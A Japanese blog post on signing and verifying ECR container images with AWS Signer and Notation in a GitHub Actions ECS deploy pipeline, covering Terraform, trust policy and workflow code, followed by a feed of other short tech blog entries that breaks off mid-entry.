サービスを運用しています。GitHub Actions を利用してデプロイを行っています。構成としては至ってベーシックな形になっています。今回、コンテナイメージのセキュリティ強化のため、ECR に保存されているイメージが改竄されていないことを保証する要件が追加されました。この記事では、AWS Signer を用いたコンテナイメージの署名と検証の実装、そして現状の課題と今後について記述します。AWS SignerとはWhat is AWS Signer? - AWS SignerAWS Signer はフルマネージドなコード署名サービスです。従来は Lambda 関数などで利用されていましたが、2023年の6月にECRのイメージ署名にも対応しました。AWS がコンテナイメージへの署名を導入Notary ProjectのNotation CLIを用いることで、ECRに保存されているコンテナイメージを署名することができ、署名ファイルをコンテナイメージとともにECRに保存できます。これによりコンテナイメージの真正性と完全性を検証することができます。ECS \xd7 AWS Signer を使ったイメージ署名ワークフローを試してみた - Speaker Deckなお、AWS Signerによるイメージ署名に゙関してはNRI ネットコム様のスライドに詳しく書かれているのでこちらを参照するとより理解が深まります。デプロイフロー変更前デプロイフローとしてはGitHub Actionsでレポジトリ内のソースをdocker buildしたものをECRにpushし、ECS Serviceにデプロイするシンプルなワークフローになります。変更前変更後このワークフローにコンテナイメージ署名の処理を追加します。notationコマンドにSigner Profileのarnを指定して、署名と検証をそれぞれ行う形になります。今回は、GitHub Actions ワークフローに AWS Signer を使った処理を組み込みます。ECRにpushしたイメージに対して署名を行うように変更しました。署名したあとに署名検証を行うことになります。後述しますが、これだけだと本来は不完全なものです。変更後実装ここから実装を見て行きます。先述したワークフローに帰るために以下の変更が必要となります。インフラ側AWS Signer Profileの追加デプロイ用IAM RoleにAWS Signer Profileへのアクセス権の追加デプロイ側署名処理の追加Terraformインフラ側の変更を見ていきましょう。追加箇所としてはSigner Profileの追加とGitHub Actions用のIAM Policyへの権限追加となります。変更箇所以外は今回は割愛しています。platform_idを\\"Notation-OCI-SHA384-ECDSA\\"に指定してSigner Profileを作成します。レポジトリ名をProfile名にしており、レポジトリ名が - 区切りで、Profile名が - を使えないという事情で _ への置換処理をしています。Siner Profileresource \\"aws_signer_signing_profile\\" \\"main\\" { platform_id = \\"Notation-OCI-SHA384-ECDSA\\" # profile名に-が使えないので置換 name = replace(var.repository_name, \\"-\\", \\"_\\")}先に作ったSigner Profileへの\\"signer:GetSigningProfile\\"と\\"signer:SignPayload\\"の許可をデプロイ用のRoleのPolicyに付与します。GitHub Actions用IAM Roledata \\"aws_iam_policy_document\\" \\"deploy_policy\\" { #前略 # イメージ署名 # Inline policies for Signer - AWS Signer # https://docs.aws.amazon.com/ja_jp/signer/latest/developerguide/authen-inlinepolicies.html statement { sid = \\"SignImage\\" effect = \\"Allow\\" actions = [ \\"signer:GetSigningProfile\\", \\"signer:SignPayload\\" ] resources = [ var.signer_profile_arn ] } # 後略}デプロイsigner policyのファイルをあらかじめ作っておきます。このPolicyを利用して、署名検証を行います。.github/aws/signer_policy.json{ \\"version\\":\\"1.0\\", \\"trustPolicies\\":[ { \\"name\\":\\"aws-signer-tp\\", \\"registryScopes\\":[ \\"*\\" ], \\"signatureVerification\\":{ \\"level\\":\\"strict\\" }, \\"trustStores\\":[ \\"signingAuthority:aws-signer-ts\\" ], \\"trustedIdentities\\":[ \\"arn:aws:signer:${region}:${account_id}:/signing-profiles/${profile_name}\\" ] } ]}既存のECSのデプロイワークフローにnotationのインストール、イメージ署名処理、イメージ署名検証の処理を追記します。リリースブランチにpushされたことを契機にデプロイが走る形です。.github/workflows/deploy.yamlname: Deploy to ECSon: push: branches: [\'release\']env: AWS_REGION: ap-northeast-1 ECR_REPOSITORY: ${レポジトリ名} SIGNER_PROFILE_ARN: ${Signer Profile ARN} SIGNER_POLICY_JSON: .github/aws/signer_policy.jsonjobs: deploy: name: Deploy to ECR, ECS runs-on: ubuntu-latest steps: ### 前略 - name: Setup Notation run: | wget https://d2hvyiie56hcat.cloudfront.net/linux/amd64/installer/deb/latest/aws-signer-notation-cli_amd64.deb sudo dpkg -i aws-signer-notation-cli_amd64.deb - name: Sign image env: ECR_REGISTRY: ${{ steps.login-ecr.outputs.registry }} IMAGE_TAG: ${{ github.sha }} run: | notation sign $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG --plugin \\"com.amazonaws.signer.notation.plugin\\" --id \\"$SIGNER_PROFILE_ARN\\" - name: Verify image env: ECR_REGISTRY: ${{ steps.login-ecr.outputs.registry }} IMAGE_TAG: ${{ github.sha }} run: | notation policy import $SIGNER_POLICY_JSON notation verify $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG ### 後略課題ここまででイメージの署名処理および署名検証の実装はできました。しかしながら、いくつか課題があります。CIとCDの分離先の実装を見るとわかるのですが、署名したイメージを即時署名検証していることがわかります。これは同じイメージに対して行われているため、実質的な検証にはなっていません。真の改竄検知のためには、CI/CD パイプラインを分離し、デプロイ時に別途署名検証を行う必要があります。また、pushしたコンテナイメージの脆弱性チェックもデプロイ前に行うことが望ましいです。そこで下記のように変更したいところです。ただ、デプロイのフローが変わってしまうので、調整が必要でまだ手をつけていない状態になります。理想正規手順以外でデプロイされたイメージの検証さらに、正規のデプロイフロー以外で起動されたタスクのイメージ検証も課題です。署名されていないイメージが起動されていても何もチェックができていない状態です。これに対するアプローチとしては、EventBridgeでタスクが起動したイベントを拾って、イメージの署名をチェックし、検証できなかったものに゙関しては処理を行う(タスクの停止や通知など)という方法があります。これはContainers on AWSで紹介されているので、この方法を実装できたらと考えています。Container image signing and verification using AWS Signer for Amazon ECS and AWS Fargate | Containers on AWS署名検証のサービス統合ここまで見ていて気付いたかもしれませんが、ECS Serviceがタスクを起動するときに署名されているかどうかをチェックするようにECSサービスと統合されていれば、独自に署名検証を実装する必要はありません。このへん、Google CloudのBinary Authorizationはサービスと統合されているので、署名検証を自前で書く必要がないと理解してます。AWSもサービスと統合して楽に使えるようになることを期待してます。Binary Authorization の概要 \xa0|\xa0 Google Cloudまとめ現状でできていることは以下のとおりです。ECRへpushしたイメージの署名処理現状課題となっているものは以下のとおりです。CI/CDの分離署名されていないコンテナイメージが起動されていないかのチェックこの記事では、AWS Signer を用いたコンテナイメージの署名実装と、残された課題について説明しました。まだできていないことが多いですが、まずビルドしたイメージに対して署名を行うという第一歩を踏み出しました。ここから署名検証の仕組みを強化し、よりセキュアなコンテナ運用を実現するために、引き続き改善に取り組んでいきたいと思ってます。参考リンクAWS がコンテナイメージへの署名を導入AWS Signer と Amazon EKS におけるコンテナイメージ署名の提供開始 | Amazon Web Services ブログECS \xd7 AWS Signer を使ったイメージ署名ワークフローを試してみた - Speaker DeckSign container images in Signer - AWS SignerContainer image signing and verification using AWS Signer for Amazon ECS and AWS Fargate | Containers on AWSBinary Authorization の概要 \xa0|\xa0 Google Cloud","isoDate":"2024-12-22T04:28:03.000Z","dateMiliSeconds":1734841683000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"スリーシェイク所属の早川大貴がクラウドネイティブ技術を推進するCNCF Ambassadorsに就任","link":"https://sreake.com/blog/cncf_ambassadors/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)所属の早川大貴が、クラウドネイティブ技術を推進するCNCF Ambassadorsに就任したことをお知らせします。The post スリーシェイク所属の早川大貴がクラウドネイティブ技術を推進するCNCF Ambassadorsに就任 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-12-20T08:39:11.000Z","dateMiliSeconds":1734683951000,"authorName":"Sreake","authorId":"Sreake"},{"title":"生成AIでGitHubソースコード取得して仕様書を作成","link":"https://speakerdeck.com/shukob/sheng-cheng-aidegithubsosukodoqu-de-siteshi-yang-shu-wozuo-cheng","contentSnippet":"https://generative-ai-conf.connpass.com/event/335205/\\r2024生成AI革命期を振り返る忘年会にて、\\r「生成AIでGitHubソースコード取得して仕様書を作成する」というテーマでLTさせていただきました。","isoDate":"2024-12-20T05:00:00.000Z","dateMiliSeconds":1734670800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cloudflareで管理しているドメインのアクセス解析をGraphQLでやってみる","link":"https://blog.atusy.net/2024/12/20/cloudflare-graphql-analytics-api/","contentSnippet":"Cloudflareのダッシュボード上で確認できるWeb Analyticsの生データが欲しかったので、方法を調べてみた。ベースとなるクエリはブラウザの開発者ツールからコピペできるので便利。","isoDate":"2024-12-20T00:00:00.000Z","dateMiliSeconds":1734652800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"今までアウトプットしてこなかった私が、今年からアウトプットを始めてわかったこと","link":"https://speakerdeck.com/melanmeg/jin-madeautopututositekonakatutasi-ga-jin-nian-karaautopututowoshi-metewakatutakoto","contentSnippet":"イベント: https://findy.connpass.com/event/335692/","isoDate":"2024-12-19T05:00:00.000Z","dateMiliSeconds":1734584400000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"KueueによるKubernetesネイティブなジョブ制御を試してみる","link":"https://sreake.com/blog/kueue-kubernetes-native-job-control/","contentSnippet":"Kueue KueueはKubernetesのSIG-Schedulingのサブプロジェクトとして開発が進められている、クラスター内のバッチ・HPC・AI/MLといったジョブのキューイングを提供するAPIとコントローラの […]The post KueueによるKubernetesネイティブなジョブ制御を試してみる first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-12-19T03:05:13.000Z","dateMiliSeconds":1734577513000,"authorName":"Sreake","authorId":"Sreake"},{"title":"dplyrでグループ単位にデータフレームを操作する","link":"https://blog.atusy.net/2024/12/19/dplyr-groupby/","contentSnippet":"dplyr::summarize, dplyr::mutate, dplyr::filterなどの関数の.by引数を使うと、グループごとに計算ができて非常に便利。mutateやfilterでグループ処理できると、集計が一気に捗ると思うのでいくつか例を紹介する。dplyr::group_by関数でも同じことができるけど、dplyr::ungroupを忘れると思わぬ挙動に繋がることもあるので注意。","isoDate":"2024-12-19T00:00:00.000Z","dateMiliSeconds":1734566400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"俺のガチってるdotfiles紹介","link":"https://zenn.dev/melanmeg/articles/dd0b9606352fb9","contentSnippet":"はじめにどうもです。3-shake の melanmeg です今回は dotfiles 紹介です。エンジニアにとっては、dotfiles は作業効率を上げるための 自分用チートシート のように感じています。もしくは これまで コツコツと積み上げてきた財産 ...ですかね。普段から使い慣れた環境をどこでも再現できるようにしておくことで、複数の端末で素早く自分好みの環境を用意できます!シェルやVSCodeのカスタマイズ、Gitの便利設定、そして新しいVMでの簡単なセットアップ方法を紹介します。dotfiles管理の魅力を共有し、皆さんの環境構築がもっと楽しくなればと思います\uD83D\uDE47...","isoDate":"2024-12-17T22:00:02.000Z","dateMiliSeconds":1734472802000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"プロンプトエンジニアリング プログラミング ハンズオン","link":"https://shu-kob.hateblo.jp/entry/2024/12/17/185729","contentSnippet":"genai-users.connpass.comこの記事は上記勉強会の資料です。shu-kob.hateblo.jp↑上記記事を参考にサービスアカウントの設定をしてください。※ Google Cloudの無料期間が終了していると、課金されますが、ハンズオンの内容だけだと数百円もいかないと考えています。料金は確実には言えないので、Google Cloudはご自身の責任でご使用ください。github.com↑今回のサンプルコードgit clone https://github.com/shu-kob/prompt_engineeringcd prompt_engineeringpip install vertexaiLangChainを使わずVertex AIのライブラリを使用シンプルなVertex AIでGeminiを実行project_id = \\"PROJECT_ID\\" # 書き換える実行python3 generate_content.pyresponse = model.generate_content( \\"プロンプトエンジニアリングとは\\")プロンプトを変更して実行してみましょう。Zero Shot プロンプティングproject_id = \\"PROJECT_ID\\" # 書き換える実行python3 zero_shot_prompting.pyprompt = \\"\\"\\"以下はニュース記事のタイトルです。「政治」「経済」「芸能」「スポーツ」「科学」「その他」のうち1つに分類してください。回答だけ一言で出力してください===========================紅白出場歌手の選考基準 NHK公開\\"\\"\\"プロンプトを変更して実行してみましょう。Few Shot プロンプティングproject_id = \\"PROJECT_ID\\" # 書き換える実行python3 few_shot_prompting.pyprompt = \\"\\"\\"以下はニュース記事のタイトルです。「政治」「経済」「芸能」「スポーツ」「科学」「その他」のうち1つに分類してください。回答だけ一言で出力してください===========================「紅白出場歌手の選考基準 NHK公開」===========================以下は例です「G20 バイデン氏不在で集合写真」:政治「岡田将生&高畑充希結婚 SNS反応」:芸能\\"\\"\\"プロンプトを変更して実行してみましょう。LangChainを使用langchain_google_vertexai を使用pip install langchain_google_vertexaipython3 invoke.pymessages = [ (\\"human\\", \\"ネコの鳴き真似をしてください。\\"),]プロンプトを変更して実行してみましょう。PromptTemplateを使用pip install langchain_corepip install pydantic==2.9.0実行python3 prompt_template.pyプロンプトテンプレートやQuestionを変更して実行してみましょう。ChatPromptTemplateを使用実行python3 chat_prompt_template.pyprompt_template = ChatPromptTemplate.from_messages([ (\\"system\\", \\"ステップバイステップで考えてください。\\"), (\\"human\\", \\"{question}\\"),])question = \\"\\"\\"10 + 2 * 3 - 4 * 2\\"\\"\\"システムプロンプトやQuestionを変更して実行してみましょう。参考資料python.langchain.compython.langchain.com参考文献LangChainとLangGraphによるRAG・AIエージェント[実践]入門Google Gemini 1.5/LlamaIndex/LangChain 人工知能プログラミング実践入門","isoDate":"2024-12-17T09:57:29.000Z","dateMiliSeconds":1734429449000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cloud Run GPU 上の PaliGemma2 に私の娘は可愛いと言わせるまで","link":"https://zenn.dev/satohjohn/articles/33b27212b3a55e","contentSnippet":"この記事は 3-shake Advent Calendar 2024 シーズン1 16日目の記事 & Jagu\'e\'r Advent Calendar 2024 4日目の記事 になります。3-shake に入社してそろそろ丸2年が経過しようとしており、感慨深く思っております。こういうカレンダーをちゃんと埋められているのをみていても、アウトプットという形で自己研鑽や表現を行う素晴らしいメンバーが多いなと日々日々感じております。そんな中で書けるのも良い経験だと感じております。という前置きを入れつつ、今回は生成 AI の中でも OSS でマルチモーダルな LLM である PaliG...","isoDate":"2024-12-16T11:20:30.000Z","dateMiliSeconds":1734348030000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"週間アトデ 2024-12-16","link":"https://blog.atusy.net/2024/12/16/atodeyomanakata/","contentSnippet":"アトデヨム、ウソジャナイ、ヨムノタノシー","isoDate":"2024-12-16T00:00:00.000Z","dateMiliSeconds":1734307200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubeCon NA 2024: Goodbye etcd! Running Kubernetes on Distributed PostgreSQLのセッションレポート","link":"https://nnaka2992.hatenablog.com/entry/2024/12/15/goodbyte_etcd_running_kubernetes_on_distributed_postgresql","contentSnippet":"この記事は以下アドベントカレンダー15日目の記事です。3-shake Advent Calendar 2024 シリーズ2Kubernetes Advent Calendar 2024 シリーズ2Goodbye etcd! Running Kubernetes on Distributed PostgreSQL セッションレポートセッション概要 https://kccncna2024.sched.com/event/1i7rt/goodbye-etcd-running-kubernetes-on-distributed-postgresql-denis-magda-yugabyteセッション動画 www.youtube.comこのセッションはKubernetesクラスタのメタデータストアとして利用されるetcdをDistributed PostgreSQLであるYugabyteDBに置き換えた方法を紹介し、デモを行っています。What\'s etcd?セッションはetcdの解説から始まりました。etcdは分散可能で可用性の高いキーバリューストアであり、シンプルながらも強力なデータベースとして機能します。Raftプロトコルを用いることで、複数のマシンやVMで構成されたクラスタ全体にわたって変更を複製し、ノード障害発生時にも一貫したデータと継続的な動作を保証します。Kubernetesはこのetcdをメタデータストアとして活用し、サービスのポート数やデプロイメントのPod数といったクラスタの状態を管理しています。このセクションはetcdの役割を明確に示し、Kubernetesにおける重要性を理解する上で有用でした。etcdがKubernetesの心臓部と言える重要な役割を担っていることを再認識させられました。Why some are not happy with etcdetcdは多くのKubernetesクラスタで標準的に利用されていますが、大規模環境(100~1000ノード)ではスケーラビリティに課題があることが指摘されました。このようなケースでは、etcdから分散データベースへの移行が必要となります。さらに、etcdプロジェクトへのコントリビュータ不足も懸念材料として挙げられており、Kubernetesが必要とする機能追加への対応が遅れる可能性が示唆されました。このセクションは、etcdの潜在的な問題点を浮き彫りにし、代替手段を検討する必要性を示唆しています。特に大規模運用を想定している場合、etcdのスケーラビリティの限界は深刻な問題になり得ます。KineKineはKubernetesクラスタとリレーショナルデータベース間の仲介役として機能するシミュレータレイヤです。etcd APIをSQLに変換することで、PostgreSQLやMySQLのようなリレーショナルデータベースをKubernetesのメタデータストアとして利用可能にします。Kubernetes APIサーバーが発行したetcd APIをKineがSQLに変換し、データベースに実行することで、etcdの代替を実現します。このセクションはKineの動作原理を簡潔に説明し、リレーショナルデータベースをKubernetesと統合する仕組みを理解する上で重要です。Kineの存在によって、既存のデータベース基盤を活用したKubernetes運用が可能になります。Hands-onデモ環境はGoogle Cloud上の3つのCompute Engine(us-westリージョンの異なるゾーン)に構築されたk3sクラスタで、純粋なPostgreSQLと分散型PostgreSQLであるYugabyteDBの2つのシナリオが示されました。純粋なPostgreSQLは単一VMで、YugabyteDBは3台のVMで実行され、マルチゾーン、マルチリージョン、マルチクラウド/オンプレミス環境への拡張可能性が示唆されました。このセクションはデモ環境の概要を説明し、異なるデータベース構成でのKubernetes運用の可能性を示しています。実環境に近い構成でのデモは、KineとYugabyteDBの有効性を理解する上で非常に役立ちます。Kubernetes on Pure PostgreSQLyoutu.beこのデモでは、PostgreSQLが動作するサーバ上でk3sを実行し、Kineが必要とするオブジェクトがPostgreSQLに作成される様子、そしてk3s自体の動作確認が示されました。既存のPostgreSQL環境へのKubernetesの導入を検討する際に、このデモは具体的な手順と動作イメージを提供してくれます。データベース管理者にとって、Kineによるデータベースへの影響を視覚的に確認できる点は非常に重要です。Kubernetes on YugabyteDBYugabyteDBとは?YugabyteDBは、PostgreSQL互換の分散SQLデータベースです。クエリレイヤはPostgreSQLからフォークされ、ストレージレイヤはLSMツリーベースの実装1を採用しています。複数サーバ・複数リージョンでの運用が可能で、クエリ分散やノード障害時の継続動作を実現します。etcdと同様にRaftプロトコルを利用することで、データの一貫性を確保し、ネットワーク分断時のスプリットブレインにも対応します。このセクションはYugabyteDBの特徴を説明し、高可用性と分散性を備えたデータベースとしての利点を明確に示しています。etcdの代替としてYugabyteDBを検討する際に、この情報は非常に重要です。デモyoutu.beYugabyteDBクラスタ上でk3sを実行するデモでは、PostgreSQLの場合とほぼ同様の手順でKubernetesを起動できることが示されました。YugabyteDBのダッシュボードを用いて、データベースの情報やKineが作成した情報を確認できる点も強調されました。さらに、Kubernetesのサンプルアプリを起動することで、etcdベースのKubernetesと同等の動作が確認されました。1台のCompute Engineを停止させることでYugabyteDBノードの障害をシミュレートし、データベースとKubernetesが継続して動作することを実証しました。このデモは、YugabyteDBの耐障害性と高可用性を視覚的に示し、実運用環境での信頼性を裏付けています。結論このセッションは、KineとYugabyteDBを用いることで、etcdの代替としてリレーショナルデータベースをKubernetesのメタデータストアとして利用できることを示しました。特に、YugabyteDBの分散性と耐障害性は、大規模Kubernetesクラスタの運用においてetcdのスケーラビリティやコントリビュータ不足といった課題を解決する可能性を示唆しています。ただし、YugabyteDBの導入には運用コストや学習コストといった新たな課題も発生するため、etcdとの比較検討が必要です。同様にセッションではKineをネイティブに利用しているk3sを利用していますが、k3sはあくまでKubernetesの軽量ディストリビューションであるため完全に同じものではないため、本当にk3sで良いのかという比較検討も必要になります。またセッション内では100を超えるノードから構成されるKubernetesクラスタではetcdのスケーラビリティが足りず、他のメタデータストアが必要になると紹介していますが、なぜ必要になるかは説明が不足していると感じました。これはKubernetesクラスタが大規模化することでAPIサーバが発行するクエリがetcdの対応可能な10000 rpsを越え始めるためです。より詳細な説明はGoogle Cloudの65000ノードを越えるGKEクラスタをSpannerでホストしていることを紹介しているブログが参考になるでしょう。cloud.google.com","isoDate":"2024-12-15T14:16:36.000Z","dateMiliSeconds":1734272196000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Kubernetes The Hard Wayにトライする","link":"https://zenn.dev/moz_sec/articles/0dbb3b7dd08ab3","contentSnippet":"KuberenetesKubernetesとは、複数のコンピュータでコンテナをいい感じに動かしてくれるものです。Kubernetesの説明はいろんなサイトに書いてあるため、そちらを参照してください。公式サイトも参考になります。https://kubernetes.io/docs/concepts/overview/ Kuberentes The Hard WayKubernetes The Hard Wayとは、kubeadmやkubesplayのような、クラスタ構築ツールに頼らず、コンテナランタイムや各コンポーネントを自分でインストールして、設定をし、Kubernetes...","isoDate":"2024-12-15T12:14:59.000Z","dateMiliSeconds":1734264899000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Reckoner における Datadog Error Tracking の活用事例","link":"https://zenn.dev/nomadblacky/articles/1901ceb9154c7b","contentSnippet":"この記事は、3-shake Advent Calendar 2024 の 15 日目の記事です。 はじめに私の所属する株式会社スリーシェイクでは、Reckoner というデータパイプライン構築の SaaS を開発しています。https://reckoner.io/「SaaSをつなぐ。業務が変わる。ビジネスが進化する。」直感的なユーザーインターフェイスで、多種多様な SaaS のデータをつなぎ合わせることで、データ活用・データの民主化を実現します。Reckoner では多種多様な連携先に対応しているため、様々なエラーが発生する可能性があります。そのため、エラーの迅速な発見と...","isoDate":"2024-12-15T10:35:38.000Z","dateMiliSeconds":1734258938000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"Japan.R 2024に参加した","link":"https://blog.atusy.net/2024/12/15/japanr-2024/","contentSnippet":"Hadley氏を筆頭に、本番環境や実務でRを使う話が多くて印象深かった回。色々な話を聞けてよかった。2019年以来のオフライン開催で久しくお会いしていなかった方とお話できたこと、光栄にも私に会ってみたかったという方に挨拶頂けたりブログが参考になったと言っていただけたこと、発表に対して直に感想をやりとりできたことなど、現地入りしてよかったなあと思います。","isoDate":"2024-12-15T00:00:00.000Z","dateMiliSeconds":1734220800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubeCon NA 2024: Database DevOps: CD for Stateful Applicationsのセッションレポート","link":"https://nnaka2992.hatenablog.com/entry/2024/12/14/database_devops_cd_for_stateful_applications","contentSnippet":"この記事は以下アドベントカレンダー14日目の記事です。3-shake Advent Calendar 2024 シリーズ2Kubernetes Advent Calendar 2024 シリーズ1Database DevOps: CD for Stateful Applications セッションレポートセッション概要:https://kccncna2024.sched.com/event/1i7na/database-devops-cd-for-stateful-applications-stephen-atwell-harnessio-christopher-crow-pure-storage?linkback=grid-fullセッションスライドhttps://static.sched.com/hosted_files/kccncna2024/86/Harness-Portworx%20Kubecon%202024.pdfこの記事内の画像は全てこのスライドより引用しています。セッション動画 www.youtube.comこのレポートでは、KubeCon + CloudNativeCon North America 2024 のセッション「Database DevOps: CD for Stateful Applications」の内容をまとめたもので、DatabaseのDevOpsとステートフルアプリケーションの継続的デリバリについてです。データベースCDの課題と解決策セッションでは、データパイプラインのデータテストをデリバリパイプラインに統合することの重要性が強調されていました。従来、データベースのテストは、BIツールなどを用いたカスタマイズされた方法で行われることが多かったようですが、最も信頼性の高いテスト方法は、新旧バージョンで同じデータに対してテストを実行することだとスピーカーは主張していました。そして、Kubernetesはこのようなテストを大幅に簡略化できるとのことでした。この主張は、データベースの変更がアプリケーション全体に及ぼす影響を正確に把握し、本番環境へのデプロイ前に潜在的な問題を早期に発見するために非常に重要です。Kubernetesによるデータベース運用の進化セッションで紹介されたアーキテクチャの進化は、Kubernetesがデータベース運用にもたらす利点を明確に示していました。初期のアーキテクチャでは、アプリケーション、データベース、インフラストラクチャの変更が個別に管理されていましたが、発展したアーキテクチャでは、これらが統合されたCI/CDパイプラインで管理されています。この統合により、アプリケーション、データベース、インフラストラクチャの変更をE2Eでテストできるようになり、本番環境へのデプロイリスクを大幅に軽減できます。このアーキテクチャの進化は、マイクロサービスアーキテクチャやクラウドネイティブ開発との親和性が高いと言えます。マイクロサービスでは、個々のサービスが独立してデプロイされるため、データベースの変更が他のサービスに及ぼす影響を正確に把握することが重要です。Kubernetesはこのような複雑な依存関係を管理し、安全なデプロイを実現するための強力なプラットフォームを提供します。デモのオーバービューセッションでは、具体的なスキーママイグレーションのシナリオを例に、ダウンタイムゼロでのデータベース変更を実現する方法が紹介されていました。WarehouseテーブルのLocationカラムの衝突問題を解決するために、CityとStateカラムを追加し、Locationカラムとの同期をトリガーで実現する方法は、実務で非常に役立つアプローチです。この手法は、データベースの変更によるアプリケーションへの影響を最小限に抑え、ユーザー体験を損なうことなくシステムを進化させることを可能にします。デモで利用されるCDパイプラインデモで適用されるデータベースへの変更個人的にはこのようなユースケースのテストシナリオは複雑になることが多いと考えていたため、自動化を行うには相当のカスタマイズが必要になると思っていたので、この後のデモの手軽さには非常に驚かされました。デモのハイライトとHarnessの活用youtu.beこのセッションはデモが全体のほとんどを閉めています。デモ開始時点のリンクがブログ記事の中盤にあるので、デモ部分だけでもご覧になることを強く推奨します。セッションのデモでは、Harnessというツールが使用され、変更プロセスとロールバック手順が分かりやすく可視化されていました。Harnessは、GitLab CI/CDやGitHub ActionsのようなUIを提供し、各ステップの成功/失敗を容易に確認できる点が優れていると感じました。特に、ArgoCDとの連携によるデータベースとアプリケーションの協調動作は、複雑なデプロイプロセスを簡素化する上で非常に効果的です。デモで紹介された、望ましい状態になっていないことを確認し、変更を加えるプロセスは、実践的な知見を提供していました。また、データベースの変更セットの一部として事前にロールバック手順を定義しておくことは、本番環境での予期せぬ問題発生時に迅速な対応を可能にするベストプラクティスと言えるでしょう。LiquibaseやFlywayなどのツールはこのような機能を提供しており、データベースDevOpsの実践において不可欠です。HarnessではデータベースのDevOpsをアプリケーション、インフラストラクチャー込みで実現しており、非常に理想的なツールのように見えました。一方でこのセッションのスピーカーのひとりはHarnes.ioのエンジニアであるため、ポジショントークや見せたい部分しか見せていないことが十分考えられるので全てを鵜呑みにするのは危険です。それを差し引いても興味深いデモだったので、セッションで紹介された技術スタックを検証してみたいと思っています。まとめこのセッションは、Kubernetesとツールを活用することで、データベースの変更を安全かつ効率的に行う方法を示していました。E2Eテスト、ダウンタイムゼロのスキーママイグレーション、そしてロールバック手順の自動化は、データベースDevOpsを実現するための重要な要素です。これらの手法を適切に組み合わせることで、開発速度を向上させながら、システムの安定性と信頼性を維持することが可能になります。しかし、ここで紹介された手法は全ての状況に適用できるわけではありません。例えば、大規模なデータベースや複雑なトランザクション処理を行うシステムでは、ダウンタイムゼロのマイグレーションが困難な場合があります。そのようなケースでは、段階的なロールアウトやカナリアリリースなどの手法を検討する必要があります. また、ツールの導入や運用にはコストがかかるため、組織の規模やリソースに合わせて適切なツールを選択することが重要です。今後のデータベース運用においては、自動化と可観測性をさらに強化し、自己修復機能を備えた自律的なデータベース運用を目指していくことが重要だと考えます。Kubernetesやクラウドネイティブ技術は、この目標を実現するための基盤となるでしょう。またこのセッションを見るまで、個人的にDatabase on KubernetesはKubernetesを利用している組織でマネージドデータベースのコストを安くしたい場合や、データを自分たちのコントロールできる場所におきたい時に利用する選択肢と思っていました。しかしデータベースをKubenetesにデプロイすることでアプリケーションと密接に結合したテストを簡単に行えることがわかり、データベースの運用コストさえ許容できれば、他のメリットがなくてもデータベースをKubernetesで運用するのは十分ありなのではないかと意見が変わりました。今後は単なるデータベースのホスティング環境としてのKubernetes以外の部分にも注目していきたいです。","isoDate":"2024-12-14T18:55:02.000Z","dateMiliSeconds":1734202502000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"初回実行が遅ければ遅延初期化でやればいいじゃない - RustのTUIアプリケーション改善","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/14/121545","contentSnippet":"この記事はRust Advent Calendar 2024 シリーズ3の15日目の記事です。はじめにみなさん、アプリケーションの初回実行の遅さに悩んでいませんか?「初回の検索が遅い...」「起動に時間がかかる...」「ユーザーから苦情が...」といった問題は、多くの開発者が直面する共通の課題です。実は、こういった問題の多くは初期化のタイミングを工夫することで効果的に解決できます。特にRustの場合、遅延初期化の仕組みを積極的に活用することで、パフォーマンスとユーザー体験を大きく改善することが可能です。初期化処理を適切なタイミングで実行することで、アプリケーションの応答性を保ちながら、必要なデータの準備を効率的に行うことができるのです。今回は郵便番号検索アプリケーション(jposta)を具体例として、初期化の最適化手法について詳しく見ていきましょう。この実践的なケーススタディを通じて、効果的な初期化戦略の実装方法を学んでいきます。github.com遅延初期化とは遅延初期化は、「必要になるまで初期化を待つ」という考え方を基本とする重要な最適化テクニックです。アプリケーションの起動時に全てのデータを一度に読み込むのではなく、そのデータが実際に使用されるタイミングまで読み込みを延期することで、システムの効率性を高めることができます。ja.wikipedia.org特に重要な利点として、アプリケーションの起動時間の大幅な短縮が挙げられます。全ての機能を一度に初期化する代わりに、必要な機能から順次初期化することで、ユーザーは最小限の待ち時間でアプリケーションの使用を開始できます。また、大きな設定ファイルの読み込みやデータベース接続の確立、重いライブラリの初期化、キャッシュの構築といったリソース集約的な操作を必要なタイミングまで延期することで、メモリやCPUなどの限られたリソースを効率的に活用することが可能となります。さらに、遅延初期化は複雑な依存関係を持つシステムにおいても効果的です。複数のコンポーネントが互いに依存し合う状況では、初期化の順序が問題となることがありますが、各コンポーネントを必要に応じて初期化することで、この課題を自然に解決できます。加えて、テスト容易性の向上も重要な利点です。必要なコンポーネントだけを初期化できることで、単体テストやモジュールテストが容易になり、テストの実行速度も向上します。また、エラーハンドリングの改善にも貢献します。初期化時のエラーを早期に検出できるだけでなく、実際に使用されないコンポーネントの初期化エラーを回避することができます。運用環境での柔軟性も高まり、システムの一部機能が利用できない状況でも、他の機能を正常に動作させることが可能になります。このように、遅延初期化は現代のソフトウェア開発において、パフォーマンス、保守性、信頼性の面で多くのメリットをもたらす重要な設計パターンとなっています。blog1.mammb.comRustにおける遅延初期化の進化Rustにおける遅延初期化の歴史は、2014年に登場したlazy_staticから始まり、これはマクロベースの実装でスレッドセーフ性に課題があり、型の制約も厳しいものでした。github.comその後、2020年にはonce_cellが登場し、マクロを必要としないシンプルなAPIとスレッドセーフな実装、より柔軟な型のサポートを提供することで、遅延初期化の実装が